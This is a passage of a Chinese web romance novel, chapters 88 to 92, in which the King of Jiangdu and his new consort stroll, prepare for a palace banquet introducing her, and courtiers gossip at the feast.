这下就不乐意了,佯装气恼,咬着牙说道:“好啊,我怕你被人欺负了去,你竟说我啰嗦,看我怎么收拾你。” 他记得颜漪有些怕痒,刚想去挠她痒痒肉,又想起周围都还有人,场合不对。于是,他只是哼哼,压低了声音道:“眼下暂且先饶过你,等回去有你好受的。” 说完却发现颜漪别过头去又不理他了,他凑近了想看看怎么了,视线却在一片不明显的光亮之中精准捕捉到身边人耳下那点莹白上染着的一抹红。百里漾后知后觉地想到,方才他说的那话好像是有那么些不妥当,很容易让人想歪啊。 这下轮到百里漾感到尴尬不自在了,另一只手摸了摸鼻子,找补了一句,“我不是那个意思。”换来的是颜漪飞快地扭头嗔了他一眼,那抹红颜色更深了。 百里漾:“……”他就不该说话,越说反而越说不清了。他只能轻咳一声,转移话题,“后日宴会的事情,你有什么想法么?” 他说的宴会是不日即将在王宫之中宴请臣子及其亲眷的一次行宴,主要目的是向江都的上层圈子郑重介绍颜漪这位江都王妃,大家彼此之间都认认脸,省得日后面对面见着认不出,闹出笑话还算是小事,冲撞了贵人可是不得了。这次宴会更不同于逢年过节的赐宴,它的主角是颜漪,本人的想法自然是不能忽略的。 之前在长乐殿的书房里与范国相、崔栋议离渊及边境之事,百里漾说到兴头上将行宴的事情给忘记了,巡视边境的事情还要再往后推推,至少要等到宴会的事情过去。他不可能不出席的,倘若他不出现在这次宴会上,日后这江都城里对颜漪这个王妃不知道会有多少非议。百里漾自然不愿意让类似的流言出现,影响到颜漪的名声。 “柳姑姑今晨将宴会的章程拿来给我看过,并无不妥之处,正准备呈给大王过目。”颜漪轻声说道。她知道百里漾必然会过问这件事情,正好她事先看过,这时也好拿出来说了。 “这事既然你们都看过,那我便没有什么不放心的。”百里漾表现出对颜漪和柳姑姑的极大信任,拉着颜漪走到湖畔停泊的小舟边,指着小舟说道,“哪日得闲我带你到湖上泛舟吧。过几日正是天气凉爽的时候,白日没有什么日头,湿热宜人,仰看蓝天白云,放空身心,惬意十足。” “放空自己?”颜漪第一次听说这样的词汇,有些不能理解。 一不小心将前世的词汇给带出来了,百里漾稍稍解释了一下,“就是将脑袋里的思绪全部清空出去,什么都不去想,只看着眼前的景色,秋高气爽,碧水晴天,白云悠悠。” 颜漪顺着他的话想象了一下那样的画面,确实很美好,可以什么都不用去做去想。她问百里漾,“大王以前时常这么做么?” “也不是经常。”百里漾回想了一下,“偶尔得闲了回来,但也要挑天气。雨天时衣服容易被雨水淋湿,一不小心就成落汤鸡了。夏日时天气炎热,炎炎烈日,阳光刺得人眼睛疼,待的时间久了整个人汗湿得便如同从水里捞上来的。初夏时会好一些,但容易闷热。初秋时节是最适宜的,过几日也不错,都是这般天气。” 说是得闲的时候过来泛舟游湖,实际上他也少有得闲的时候。每日都有事务等着他去处理,今日不处理的就会积压到第二日,只会越积越多。每日都有工作量,这工作量还是不固定的,你不知道哪一日会多那一日会少。有时候还需要处理一些突然情况,计划总是能够被轻易打乱,甚至夜晚还要点灯熬夜处理一些要紧的事务。他还真的是挺忙的。 以上百里漾与颜漪说的这些都是他花了四五年的时间才总结出来的。毕竟有时候他得闲了不一定能够赶上好的天气,有好的天气的时候他也不一定得闲,实在是想去泛舟也就只能是将就着些了。然而事实证明,将就的结果就只能是委屈自己、让自己难受。 颜漪从百里漾稍显郁闷的神情之中也看出来了,他说的这些都是自己的经验之谈,被雨水淋成落汤鸡、被日头晒得汗水淋淋都是有过的,最后才得出了何时是泛舟游湖的最好时机。 “哪日得空了,我与大王一道过来。”颜漪说道。这人如此盛情给她建议,她自然不会拂了他的好意,而且经百里漾这么一说,她也想试试泛舟湖上,仰看天高无垠、青天白云,放空自己是一种怎么样的体验。 “你得闲了便可过来,不必一定要等我。”百里漾摇头说道。他们接下来各有各的忙碌,真要找到一个两人都有空闲的时间还真不容易。若是因为等人把好时机等没了,未尝也太可惜了,他道:“良辰美景转瞬即逝,当莫负好时光才是。我们以后还有许多机会一起泛舟,不必急于一时。” 他们是要做一辈子长久夫妻的,以后的日子还很长。 “大王放心,我不会错失良辰的。”颜漪笑回道。 百里漾:“走了一圈也差不多了,我们回寝殿吧。” 他们走得很慢,饶是如此也将半个花园走完了。夜幕下,许多建筑景观远看都只能见到朦胧的影子,近处虽有灯火照耀,却也依旧只能够看清局部,这就差了点意思了。他们散步消食的目的已经达到,也该回去了。 “好,我们回去。”颜漪轻柔说道。 百里漾今日依旧是宿在永延殿。负责伺候他的侍人见状如同昨日般往长乐殿去取了他的衣物以及一些日常用品过来,备他取用。想到自回来后大王时时不忘关切王妃的情况,自王妃搬去永延殿后也是一直宿在那里,心下不由感慨大王对王妃的看重,对这位新王妃就更不敢小看了。 回到永延殿之后,时辰也不早了,两人分开各自去沐浴。等颜漪回来时就看到百里漾着了里衣半倚在榻上翻看一本书,说是在看,实则眼皮子都在打架了。 颜漪见状不由道:“大王困了自去睡,不用等我。”她想到百里漾今日也忙碌了一整日,困倦是应有之事,便上前从他手中拿过书籍放在桌案上,劝他去睡觉。 “不妨事,我等等你。”说着不要紧的百里漾却不受控制地小小打了一个呵欠,他看颜漪的头发还湿着,起身要给她擦拭,腰身还没有直起来却被一双手给按了回去。他的视线从肩膀上抵着的柔荑转移到了主人面上,目光相对后,缓缓打出一个问号。 颜漪有些无奈,“这些事情我会让初禾去做,大王在榻上等候便是。” 她说的有些不容拒绝的意味,再加上手还在自己肩膀上抵着,百里漾浑身被困意侵扰纠缠,脑袋也逐渐沉重,点头应了,顺从着彻底躺到榻上,颜漪扯过被子给他盖上。 百里漾双手扯着被子的角,困意让他眼神逐渐迷蒙,乖顺躺着的模样让他整个人显得软乎呆萌许多,还不忘记说道:“你快些来,我会等你的。” 颜漪不免失笑,忽然生出一股想摸摸他脑袋的想法,但她很克制,嘴上应了“是”,随后便退出内寝到外间去了。 “大王睡下了。” 外间初禾在候着,闻言将自己的动作又放轻了些,避免动静太大惊扰到里面的江都王。颜漪在凳子上坐下,初禾取过干净的布帕上前为她擦拭湿发。等一切收拾打理好之后,已是半个时辰过去。颜漪再回到内寝时,百里漾已经在榻上睡得很熟了。 放轻手脚,颜漪轻轻躺到榻上去。刚躺下,耳边便传来了百里漾迷糊的声音,“七娘,你回来了?” 颜漪因为他的称呼动作微微顿了一下,转过身去看他,“是我,大王。” 百里漾似乎安心了,他往颜漪这边动了一下,伸出手往前捞了两下,准确将人捞到自己怀里抱住,脑袋蹭了蹭,说话带了点鼻音,“我们睡吧。” 第89章 宴会之前 永延殿的床榻宽大, 即便是躺下五个人都不是问题,两个人躺在上面着实是绰绰有余。可两人在经过了成婚后的磨合,已经逐渐习惯了现有的睡觉姿势, 也就是百里漾习惯了抱着颜漪入睡,颜漪也习惯了倚偎在百里漾的怀里入睡。因为不习惯也不行,即便是入睡之前两人都是楚河汉界分明,等再次醒来之后,她就会重新回到百里漾的怀里。 既然已经习惯了, 颜漪也不会挣扎离开, 她很熟练地在百里漾怀里找了一个舒服的姿势, 轻阖上眼,思绪放缓, 等待着进入梦乡。 内寝里点燃的安神香在静静地燃烧着,逸出的烟雾袅袅, 缓缓向着殿顶高处飘去。 次日醒来,二人如同往常的时辰起身, 洗漱更衣后一起用了早膳后, 彼此就各忙各的去了。 百里漾的忙碌是因为他要将这四月余他不在江都积压的一些政务处理了, 这几日都要召见不同的臣子议事,更别说还有防备离渊来袭的要紧军务要去办。若非他这几日都宿在永延殿,早晚都能够见到颜漪一次,否则在事情结束前两人很可能都不会碰上几次面。 颜漪的忙碌则是因为她作为新来江都的王妃,要尽快地熟悉这座江都王宫,更要熟悉王宫里面的人和事。此前这些事情都是由内史令柳枝柳姑姑负责的,如今要移交,即便有柳姑姑的配合,也仍是需要耗费不少的心神和时间。江都王宫虽然方方面面都不及湛京皇宫, 可它毕竟是一诸侯国的王之居所,里面也还是生活了一大群人的。众多的内官女官,又都分掌不同的事务,这些人颜漪是必要见的。可又不能一次性见完,还需要分批来安排时间。 其中还有很重要的一项——王宫内库,这是必须要颜漪亲自去查点理清的。百里漾不仅向颜漪开放了王宫内库,甚至还让柳姑姑将内库的钥匙以及账册一并交给她。这已经不仅仅是他看重她这个王妃的问题了,还有对她的无比信任。而历来涉及到账的问题都很复杂,作为新接手的人,颜漪要完全厘清这些东西并不是短期能够做到的。 两人虽然忙碌,但好在一切都在稳中进行,即使偶尔出现一点小问题也能够很快解决。 “这几日下来,我观王妃处事极是妥帖周到,赏罚得当,阖宫上下莫不敬服。”长乐殿的书房之中,柳姑姑如此对百里漾说道。这几日她都在协助王妃处理宫务,将王妃的一切行事大多看在眼里,得出了这样的评价。而这已经不能完全算是评价了,也是赞誉。 王宫之中人员众多,构成复杂,形形色色的人都有,在移交宫务的过程中不免出现了一些令人不愉快的事情。王妃并不见为难,很容易地就找对了问题的关键所在,也对违犯宫规之人做了恰当的处罚,即震慑住了宵小,也树立起了自己的威信。可见王妃本人之聪慧,定国公府的家教也非凡。 大王能够娶此好女作妇,当真是好福气。 “这些时日劳烦姑姑多辛苦一些,之后姑姑想要什么犒劳,漾绝不会吝啬。”百里漾听到柳姑姑对颜漪的夸赞之语,唇角高高扬起好久才放下,又想起柳姑姑在其中的辛苦,赶紧许诺道。 上午百里漾才见完一批臣子,中午时趁着一点休息的时间让人将柳姑姑唤来询问一些颜漪那边的事情。本来按照他的想法,若是在颜漪召见内官女官时他能在一旁看着,多少也是一种震慑作用。这事他此前有与颜漪提过,但被她拒绝了,说他事务繁忙,这些事情她自己能够处理好。 颜漪这般说了,百里漾也没有坚持。之后发现颜漪说的没有错,他真的很忙,有时候连喝水的时间都要挤出来。可即便是如此,他稍稍空闲一点就会惦记起颜漪,也不知道她那边的情况如何了。当面问颜漪她或许不会想自己诉说有什么阻碍与困难,这才让柳姑姑过来与他说一说。 “大王即开金口,那我便不客气了。”柳姑姑满面笑容说道。她这几日也是看出来了,大王与新王妃的感情是真的很好,大王处处惦记着王妃。这段婚事当真算得上是佳偶天成了。依照大王与王妃这般如胶似漆的黏糊劲,怕是用不了多久,王宫之中很快就会有小主子了。 眼见柳姑姑笑得实在是“慈祥和蔼”,百里漾莫名有一股奇怪的“被盯上”的感觉,但他只当是错觉,当下就让柳姑姑无需客气,想要什么只要开口他必定会满足。只是他实在是忙,很快就有殿外侍人入内禀报,说是他传召的臣子来了,正在殿外等候召见。 柳姑姑见状便识趣地告退了。犒赏的事情也说自己暂时没想好,留待后面想好了再来与百里漾要求兑现。百里漾不无不可地应了。 在这般的忙碌之中,宴会之日很快便到了。 举行宴会的地点在章德殿,此点地处承运殿之西,据地宽阔,历来是作为江都举办大型宫宴的场所。这次宴会邀请江都境内的高官权贵及其亲眷前来赴宴,规格与逢年过节的赐宴相当,不容人小觑。 关于这次的赐宴,在江都的地界上,只有遗憾自己不够资格前往赴宴的,从无不想去的。更何况在此次宴会之上,他们那位来自湛京、出身定国公府的江都王妃会首次出现在众人面前,几乎没有人不想去见一见这位王妃的“庐山真面目”的。 赐宴的时间在夜幕降临之后。出于礼仪以及对上位者的敬重,凡赴宴者皆要整肃衣冠提前入殿恭候江都王夫妇的到来。他们接到赐宴的消息是江都王夫妇抵达江都的第二日,故而提前有了准备。女眷多置办了新衣、新头面首饰,临出门前的精心装扮必不可少,家中的男主人少不得要等候她们。 黄昏初降,此次宴会的所有赴宴者皆要出门赶赴王宫了。而此时的崔栋府上亦是如此,门房已经套好了马车,就等着府上主子出门取用了。 “快去催催,夫人怎么还没打扮好?”崔栋的耐心逐渐告罄,在再次喝完一盏茶之后,他忍不住支使身边的侍从去后院看看。 “来了来了,你就这点耐心,等等我怎么了,女人家打扮本来就要花时间。”侍从刚要领命去办,卢氏的声音就传过来,随之她的身影也在走廊的转角出现,没多久就走到崔栋身边,朝他微微颔首,“我们出发吧。” 为了显示对此次赐宴的重视,卢氏的打扮明显比往日隆重许多,环佩珠钗、金玉饰物,搭配的极其巧妙,丝毫不会显得累赘庸俗,反而落落大方,尽显华贵雍容气度。崔栋看得眼前一亮,用手去勾妻子头上的一支金步摇,“这般看来,我这半个多时辰也不算白等。” “别乱动我的头饰。”卢氏赶紧将崔栋的手拍走,她记着仪态、周围又有这么多侍从婢女看着,忍住了没白崔栋一眼,“弄乱了我还得重新弄一回。” 崔栋怕了,可不敢再手贱了,赶紧说道:“时辰也不早了,我们赶快过去,若是去的晚了还要惹出笑话来。五郎他们不在意这些,但那些世家大族的嘴可不会放过我们。” 他这可不是夸张的说法。赐宴赐宴,误了时辰去晚了可不仅仅是礼仪问题了,更是对位尊者的轻视与不敬。更何况从君臣名分来说,百里漾和颜漪为君,其余人为臣,君臣君臣,从来都是臣奉君,没有君等臣的道理。虽说这真要是误了时辰,五郎不会因为此事怪罪,但世家大族必定会揪着不放,小题大做一番,忒是烦人。 崔栋可不想跟那些嘴皮子厉害的人掰扯这些,没得烦人。 “我岂是那等没分寸之人。”卢氏嗔了崔栋一眼,“有算着时辰呢,不会迟的。” 夫妻俩一面说着话,一面朝府门口走去,到了门口登车,齐齐钻进马车中去,车夫吆喝一声,一甩长鞭击在马背上,马车便朝着王宫的方向驶去。 与此同时,江都郡城之中各个方向都有马车朝着王宫驶去。 套着笼头的马儿马蹄哒哒带动着身后的马车驰走在前往王宫的路上。车帘子一拉,车厢便成了一个几乎封闭的隐秘空间。男人们在外骑马,马车之内坐的大多是女眷,更多的是母亲带着女儿,趁着此时还没有入王宫,抓紧再说些提点女儿的话。 “母亲,这次宴会之上大王与王妃都会出现么?”有年纪稍小的家中小女懵懂无知,好奇地询问自己的母亲。 “既是大王与王妃赐宴,自然他们都会在宴席上出现。宴上非比寻常,王宫规矩森严,不可使小性子,闹出笑话来。”母亲严肃告诫道。 “是,儿必当谨记母亲教诲。”女儿们都谨慎应道。 有提点自家儿女入宫之后规矩谨慎行事的,也有含着一些其他的目的的,其中不乏冲着百里漾本人去的。毕竟在这江都国之中,谁人不知江都王乃陛下与椒房所出之子,身份何等的尊贵,又少年居高位,据说相貌因遗传皇后殿下的天人之姿端是俊逸非凡。不仅如此,江都王还能文能武,勤政爱民。这样一位几乎哪哪都挑不出毛病的年轻郎君,自是引得不少年轻女郎向往的。 不是没有人打过百里漾的主意,有以失败告终的,也有此前就没有碰上机会的- 作者有话说:补昨天的。 第90章 候妆 更多的是清楚自家有几斤几两。以江都王目前的身份地位以及未来可能的前景来说, 王妃的人选必然不可能出自江都国之中,陛下与皇后必然会在湛京之中选一位足以匹配江都王身份的高门贵女予他为王妃。王妃之位他们是不用想了,但王妃之下还有位份, 这些他们倒是可以想一想的。 从百里漾年满十五岁开始,一些动了心思就开始有意无意地想将自己的闺女或者侄女、外甥女举荐入宫,名义上说得多么好听的都有,实际的目的是什么大家懂的都懂。当然,他们都没有能成功。因为百里漾觉得这些人不怀好意, 想要祸害年纪轻轻的他, 通通拒绝了。 这些人不清楚百里漾对于这个时代来说过于“清奇”的思路, 他们只当是百里漾那时年纪小不开窍还有就是远在湛京的皇后对这个小儿子看护得严实,时日一久也就暂时歇了给百里漾送人的念头。不就是两三年么, 家族中各个年龄段的女儿们都有,他们等得起。只要等到百里漾娶了王妃之后就好了, 那时候他们的机会就来了。 如今百里漾回去一趟湛京带回来了王妃,也就意味着他们的机会来到了。 虽然他们都心知肚明今夜的宴会只是为了让他们拜见王妃, 但心思活络的人自然不会放过这次机会。临出门前看着自己一个个打扮得花枝招展的女儿们, 嘱咐她们要想办法在宴会上博得江都王的注意。 只要这一步成了, 接下来就好办多了。 另一头的百里漾还不知道这些人的“来者不善”,此刻的他正在永延殿中等待颜漪成妆。颜漪坐在梳妆台前,旁边除了初禾还有两名婢女伺候梳妆。梳妆台比在湛京江都王宅时的还要宽大,用极其名贵的红檀木制成,表面涂上了一层不知工艺的清漆,使得面上光亮顺滑,摸着极为舒服顺手。这还不算什么,令人咋舌的是面上那些铺了大半个台面的胭脂水粉等上妆用品,种类繁多, 品类之齐全,令人叹为观止,忍不住在心中流下了羡慕的泪水。 没错,这个人就是百里漾。 百里漾不是第一次看颜漪上妆了,但每看一次都忍不住感慨连连。他前世时不少人因为惯性思维认为古代生产力落后以至于女子的化妆用品种类少,不像当下品类多得人眼花缭乱,什么五花八门的都有,还时时刻刻都在更新迭代,抢占市场。 他那时也是这么认为,直到如今看到颜漪的梳妆台才发现是自己孤陋寡闻。这台面上摆的可不只是胭脂水粉,这只是它们的统一叫法,细分下来还有好多品类,作用也不一样。谁说古代女子化妆品少,真该叫他们过来看看,长长见识。 曾经颜漪的梳妆台是他前世时的梦想,那时候因为需要考虑钱包的感受而不能实现。这辈子有能力实现了,可惜却受限于身份的原因拥有不了,总不能让人传出江都王喜胭脂、好女妆的传言来吧,那他还要不要出门见人了? 这事不能想,想想都令人悲伤。这些东西他这辈子是很难用上了,但看自己的媳妇用未尝不是一种安慰和享受。 颜漪的皮相是很优越的,甚至连骨相都很好。人都说“美人在骨不在皮”,她连两项都占全了,常有令人见之忘俗的感觉。一见惊艳,令人忍不住连连回首,越看越想看。纵然是百里漾经常与她朝夕相对,仍旧时不时有被惊艳到的感觉。 可这并不意味着颜漪便不需要上妆了,出席一些重要场合时,她需要精致妆容让自己看起来更加的高贵雍容。就比如今日的赐宴,她是要作为江都王妃出席的,仪态上便不能出错。况且女子上妆本来就是一种取悦自己的过程,平日里给自己换换风格,试试不同的妆容,仅仅是看着便已经足够赏心悦目、令人心情愉快了。 看着颜漪一点点成妆,虽然百里漾自己是没有机会了,但他想到这是自己的媳妇,心里也能升起一股与有荣焉的自豪感。 “我这还需要一些时辰,大王若是觉得无聊,可去外厅稍候。”梳妆台上镶着一面光可鉴人的大铜镜,映出颜漪稍显无奈的眉眼,也映出了铜镜一角中百里漾以手支颐、眼睛闪闪发亮看着这边的模样。 因着要出席今夜的赐宴,百里漾今日将所有要紧的事务都赶着处理了,从今晨一直忙到近黄昏,之后便回来沐浴更衣。男子的衣物装饰相对简单些,百里漾收拾妥当了便坐在一旁等候颜漪成妆。他让其余人不必管他,自做自己的事。 一开始颜漪还能够不怎么在意百里漾投过来的亮晶晶的目光,只是随着铜镜里映出来的百里漾愈加亮闪闪的目光,这目光仿若能够经过铜镜反照到她面上似的,再加上初禾以及两个婢女瞧见后强忍住不笑的神色,她只觉得脸上愈发热了,也不能再“无动于衷”了。 “啊?不用不用,我在这里坐着便好,你们不用顾我。”正在欣赏自己王妃上妆的百里漾闻言连连摆手,再次让她们不必管他。随后他自己也似乎意识到了自己直勾勾盯着看人上妆的视线带了点干扰的效果,只好装模作样地从外厅的书架上随手摸了一册书简进来看。 颜漪本来见他起身出去外厅,小小地送了一口气,没想到这人转头就进来了,手里还捏着一册书简,又坐回了原先的位置。一开始确实是打开书简看了起来,但没过多久书简就悄悄地往下移,露出一双眼睛来,还是亮闪闪的。 “……”颜漪更无奈了,同时头顶还传来一声忍不住的闷笑声,扭头以目告诫她。 声音的主人是初禾,她在颜漪身边伺候的年岁长,情分非比一般的婢女。如今颜漪作为江都王妃,她的身份也跟着水涨船高,如今在王宫中也是有品级的女官,还掌管着永延殿中的一切庶务。她接受到主子警告的目光,知道是自己放肆了,连忙恢复面无表情的正肃模样。 颜漪更无奈了,若非现在正是上妆的关键时候,她都要忍不住扶额叹息了。 这些日子下来,她愈发发现百里漾在男子之中算是一个颇为“神奇”的存在。比如说在等待妻子成妆这件事情上,就颜漪所了解的一些亲朋范围内的男子,大多数是不耐烦的,尤其是她父亲定国公是武将出身,亲朋故旧里也大多是武将。武将性子粗放,上妆是一个细致活,他们多是不耐烦等待妻子成妆也不理解女子上妆的行为。其中亦有耐着性子等待妻子的,但人家那是将替妻子画眉上妆视为闺房情趣。 百里漾并不属于这两类人中的哪一类,颜漪发现自己有点不太看得懂他。他也喜欢等待自己成妆,但他不想其他男子那样在等待的过程中自己寻点事情来做打发时间,或者是上前帮助妻子上妆。他就坐在旁边看,眼里似乎还流露出了一丝歆羡的神色? 歆羡什么?羡慕她能上妆么? 不得不说颜漪真相了,可不就是羡慕么?但这话是能对人说出去的么,不能啊。 百里漾这世的身体是男子,百里氏虽说历代人的颜值都很高,长相平平的人都少有,可个个身板皆是往健壮魁梧的方向走的,看看皇帝、淄川王还有定安王他们就知道了。他现在十八九岁,虽说身形还称不上魁梧,可眼看着也是要往高大强壮的方向发展的。这样的一个准壮汉,他说他喜欢涂脂抹粉,听的人估计只会觉得惊悚吧。传出去怕不得被定安王他们笑死,指不定还要被人拿来做文章,败坏他的名声。 先天条件不允许,百里漾也就只有遗憾了。不过他也看开了,他自己不能用这些东西,他的王妃却是能用的。许多回他看着颜漪上妆有些跃跃欲试,但他技术不行,给颜漪画个眉也只在及格水平。这时候的胭脂水粉使用起来大多没有他前世的方便,不仅要求纯手工,用法上也极为讲究。他还需要学习。 以前没有王妃,他若是研究这种物事被人瞧见了怕是要说不清楚了。现在好了,他可以光明正大地学了,日后实践起来作为闺房之乐也算是一件雅事。 就在百里漾这么欲盖弥彰的看书之下,颜漪故作无事发生地继续上妆。时间就这么慢悠悠过去,小半个时辰过去,颜漪成妆了。成妆之后的颜漪看着与平日的差别并不大,但给人的感觉就是不一样了。此刻她身上更多的是一股不怒自威的威仪,令人不敢直视。 之后便是着衣。 今夜虽是赐宴,不必穿着过于隆重,但也不可太过随意。她与百里漾是要联袂出席的,穿着上自然要相互匹配、相得益彰。大衍朝以深色尤其以玄黑之色为尊,此刻两人皆着玄衣,饰以赤金纹,只是颜漪的衣服偏深红些,百里漾的则更显黑沉。 “大王,我们走吧。”颜漪换衣出来,对手里还捏着书简的百里漾说道。 “装模作样”好长一段时间但书那是一点都没有看进去的百里漾应了一声,将手里捏了许久的书简状遮蔽物放下,走到颜漪身边与她并肩,朝她伸出手,笑道:“我们过去吧。” 这次颜漪没有拒绝他,眼眸微染笑意,将手搭了上去- 作者有话说:江都大王表示:“谁心里还不住着一个爱美的小公主了呢。” 90-100 第91章 宴前 暮色四合, 夜幕低垂。日落之后,江都郡城的天空像是被一块从天而降的巨大黑布轻盈却迅速地完全笼罩住。这里不比湛京城繁华,只有部分繁华地带早早点亮了灯火, 更多的地方是处在一片幽暗之中,偶尔才能见到一些零零星星的光亮。 作为江都权力中心的王宫倒是光亮耀眼,宫门处点燃的一排排火把足以将门前地上的地砖缝隙都照出来。 一辆辆马车在宫门前陆续停下,走出江都的权贵高官和他们的亲眷们。在经过身份核验以及搜检后,这些人得以放行, 朝着章徳殿所在的方向行进。 此次赐宴赐的是江都的权贵阶层, 拖家带口由此来的人基本上是拖家带口的。于是一群经常往来于王宫的人之中多出了许多靓丽青春的年轻面孔。他们或天真好奇, 或谨慎内敛,或憧憬算计, 都在打量观察这座恢宏威严的王宫。他们之中许多人都是第一次来,看了这座王宫之后, 不知道心里作何感想。 入了章徳殿之后,先至的与后至的照例先寒暄一番。 不管大家平日里因为立场、恩怨还是政见不合闹得多不愉快, 恨不得对方赶紧死, 乃至私底下有什么阴损狠辣的招都会可劲地往对方身上招呼, 但如今站在光辉亮堂的章徳殿内,大家见了面就是同堂供事的同僚,脸上皆是乐呵呵的,笑得一团和气,顺带相互商业吹捧一下各自的子女,就是不知道这些人在看到对方带来的水灵灵的闺女时,心里有没有暗骂“老狐狸”。 长辈们相互见礼寒暄完了,该轮到小辈们了。今夜大家能够出现的章徳殿宴会上,说明基本上都是在一个圈层里往来走动的, 小辈之间也多是见过的,再不济也是听说过的。这种场合之下,大家都会做人,即便是过去有怨节的,此刻面子上的功夫都做得足足的。 没有不愉快,众人脸上都是笑呵呵的。 崔栋携妻子卢氏入场时不少人都注意到了,纷纷围上来与二人热情打招呼。江都这边都知道此次岁贡回京不仅江都王娶了王妃回来,崔栋也娶了卢氏女,没有能亲身去到婚礼现场恭贺的,现在都上前补上,还说新婚贺礼随后再补上。 对于这些恭贺,崔栋和卢氏都笑着领受了,还说婚事是在湛京举办的,没有请到诸位前去观礼见证他们的幸福实是遗憾,准备挑个日子邀请大家过府饮宴,希望大家能来的都来。 夫妻俩这会儿虽然只是口头上这么一说,但并非是之后就不办这个宴会了。只是后续必然不会简单随便,还需准备请帖再发往各家,就是面前的这群人里不会所有人都收到请帖就是了。 开玩笑,他们能什么人都请么? 有些人想来崔栋还不乐意让他们来呢,来了脏了他的地盘不说,这大喜的日子,让那些人来了岂不是给自己找晦气么。 一群人寒暄、再商业互捧过后,看着时辰差不多该开宴了,纷纷找到自己该坐的位置,等待着江都王夫妇的到来。 眼看着江都王夫妇还未至,各家便自家人坐在一道说话。 崔栋作为都尉,不仅是江都王心腹还是表兄,位置向来很靠前,在章徳殿的席位中居上席,能与他同列的也没几个,算起来也就是范国相、褚之彦这些人。与范国相打完招呼,再同褚之彦皮笑肉不笑地扯两句,崔栋转头与妻子说话去了。 卢氏初来乍到,时日又短,对江都的很多人和事尚不了解。她作为崔栋的妻子,日后崔府的人情交际往来等事务都需要她负责操持,崔栋有必要与她说清楚里面的门道,理一理江都权贵圈子里的人和事,叫她尽快融入进去。 这些时日崔栋有空的时候也会与妻子说一些,但经常说着说着要么是睡着了,要么就是,咳咳,干别的事情去了。再者,私底下说说那有现场认人来的效率高。今夜的宴席正好是一次机会。 于是崔栋一边美滋滋地喝着宴席上的美酒,一边与妻子卢氏说着宴席上都有哪些人,这些人是个什么来历,背后是否站着什么人,与自家是个怎样的关系。 崔栋先捡着几个要紧的说了,重点点出褚之彦,“人你见着了,老狐狸一个。”话不用说太多,只需要告诉卢氏说是褚之彦就足够了。 怀郡褚氏的当代族长、定安王的岳父佬,有这两个名头在身上,足以让人主动去了解这个人了。卢氏在来江都之前也让家中父兄长辈讲过一些有关江都的事情,怀郡褚氏那么大的名头摆在那里,自然是不能略过的。 卢氏的目光越过好些人落在一名看着儒雅又风仪的中年文士身上,心想那就是褚之彦。 到底是能□□到本朝还不倒的百年世家大族出身,褚之彦的气质谈吐自是不俗的,自带光环似的,寻常人一眼望之很容易产生好感。但这仅仅是表象,卢氏不由想起自己祖父对这些世族出身之人的评价——瞧着个个人模人样的,实则一肚子坏水,并以此告诫子孙看人不能看表象。 褚之彦背后支持的人是定安王,立场不同,他们与之注定是敌人。 卢氏的目光只在褚之彦身上停留了一息,还没有撤走却被当事人给发现了。眼看着褚之彦回望过来,她淡定直视,微微颔首以礼。 崔栋见状微挑眉,举起酒杯遥敬示意。褚之彦亦举杯回敬。 “看吧,我说的。”崔栋道。 卢氏感叹道:“果然不愧为怀郡褚氏。” “不过……”崔栋剑眉高高挑起,夹了一口肉吃,三两口嚼完觉得厨子油放多了,“你没发现今夜有哪里不对么?” “有什么不对?”卢氏扫了一圈,故意反问道,“宴会不都是如此么?” 崔栋:“你不觉得今夜来的女眷,格外的多么?”看看这一个个的打扮得花枝招展的,谁还看不出来他们想干什么啊。 虽说此次赐宴允许权贵官员们亲眷前来赴宴,但这并不代表你有多少亲眷就可以带多少来的。 首先,有的人特别能生,妻妾一大堆,生也生了一堆,真要是全带来赴宴,别说章徳殿了,就连承运殿都放不下。其次,啥亲眷都带来赴宴未免有蹭饭的嫌疑,会被人笑话的。最后,若是别的位尊者只带两三个人前来,你带了一大堆,对比之下,是显得你能耐还是脸皮厚? 因此,但凡一些大型且高规格的宴会,即便能够携家眷前往,通常被邀请者都是有选择性地在家中挑选人前往的,妻子要么去要么不去,绝对不能带妾室这种上不得台面的人去。子女也不会全都带去,带哪些子女去取决于考量的点是什么。 最后同去的人绝大多数情况下都不会超过五个,五个都算是极少见的。而且举凡宫中赐宴,出于家族前途以及铺路的考虑,这些人往往多是带儿子来的。 今日就明显不对嘛。这放眼看过去,女性的数量明显多了,虽然也不会比男的多,但明显比以往任何时候都多了。 “你观察倒挺细致的。”卢氏看着崔栋这模样,不咸不淡地说了一句,但听着不像是夸人的话。 “哪里有观察,这明眼一看的事。”崔栋赶紧说道,又压低了声音,“人家也不是冲着我来的。”他一个都尉而已,以前没有娶妻的时候还是香饽饽,这都已经有妻子了,谁还看得上他- 作者有话说:补榜单字数,短了点。 第92章 宴会 “郎君何必妄自菲薄。”卢氏笑吟吟地看着自己的丈夫, 面上的笑容尤为真挚,在外人看来就是这新婚不久的小两口在亲热地说着话,如果不是食案底下卢氏的手指已经掐住了崔栋腰间的软肉, 正蓄力待掐。 崔栋还是“小看”自己了,以他如今的身份权势地位来看,在这江都他不说是横着走也差不多了。年少有为,前途大好,不知道有多少眼睛在盯着他想把女儿嫁给他的。即便自家女儿做不了正妻, 哪怕只是一个妾室也有的是人愿意。只要崔栋发话, 有的是人主动将人送到他的府上, 他的后院里。 崔栋赶紧伸手握住妻子的手,低声讨饶, “那些真的都是成婚以前的事情啊。与你成亲之后,外边那些就再看也没有了, 我可是一直规规矩矩的。” 这几日也不知道妻子是从哪里知道他以前在江都的风流韵事的,一想到就对着他鼻子不是鼻子、眼睛不是眼睛的, 说话有时候也阴阳怪气的。明明那都是成亲以前的事情了, 那时候都不认识她, 现在来翻旧账,他很冤枉的好不好。 这话说的倒是不假。 卢氏松开指间的软肉,没有再掐崔栋。虽然知道如崔栋这样的权贵家之子在婚前身边不可能没有女人,只不过都会在成婚之前打发干净,她心里早有准备,但在来到江都之后听到崔栋那些花花绿绿的风流事时仍然忍不住生气。最可气的是崔栋回湛京之前还问过一个曾经跟过他的花娘愿不愿意同他一道回去,得亏人家不愿意,否则她现在就能在府里见到人了。 对于这些,卢氏也只是一时的气, 因为成婚之后的崔栋确实很老实规矩,权贵圈子里如他这样的男子已属很少见的。她有一名族中姐妹,许嫁给一名地方郡守之子,未成婚之前那男人生出了一儿一女,嫁过去之后还要与一屋子的莺莺燕燕斗法,日子过得那叫一个心力交瘁。去岁过年时卢氏见到她,明明才二十出头的年纪看着硬生生活像老了十岁。 崔栋也很好了,他还是自己选的。 